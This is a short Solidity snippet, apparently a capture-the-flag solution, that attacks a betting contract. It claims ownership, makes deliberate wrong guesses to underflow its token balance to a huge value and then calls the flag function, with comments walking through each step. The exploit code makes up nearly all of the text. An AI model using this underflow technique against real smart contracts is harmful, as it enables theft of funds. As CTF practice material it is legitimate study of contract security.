interface Ibet { function balanceOf(address) external returns(uint); function Bet() external; function payforflag(string) external; function setsecret(uint) external; function profit() external; function betgame(uint)external; function doublebetgame(uint) external; }
function solve() public{ _bet.Bet(); //be the owner _bet.profit(); //get 1 ether to play game _bet.betgame(0); // the secret is '0', if we guess right, we will make isbet() return 1, than we can call doublebetgame _bet.betgame(1); // guess for a wrong number, it will minus 1 of our balance: now our balance is 2 - 1 = 1 // wrong guess, which will minus us 2 ether, it will cause an underflow: 1 - 2 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 // attention, dont put in the correct number, bacause it will add 2 after underflow which makes our balance back to 1 _bet.doublebetgame(1); _bet.payforflag("successfully"); }
function getBalance() public view returns(uint256){ uint256 balance = _bet.balanceOf(address(this)); return balance; }
function() external payable {} // attention!!!! solve() will revert without this!!!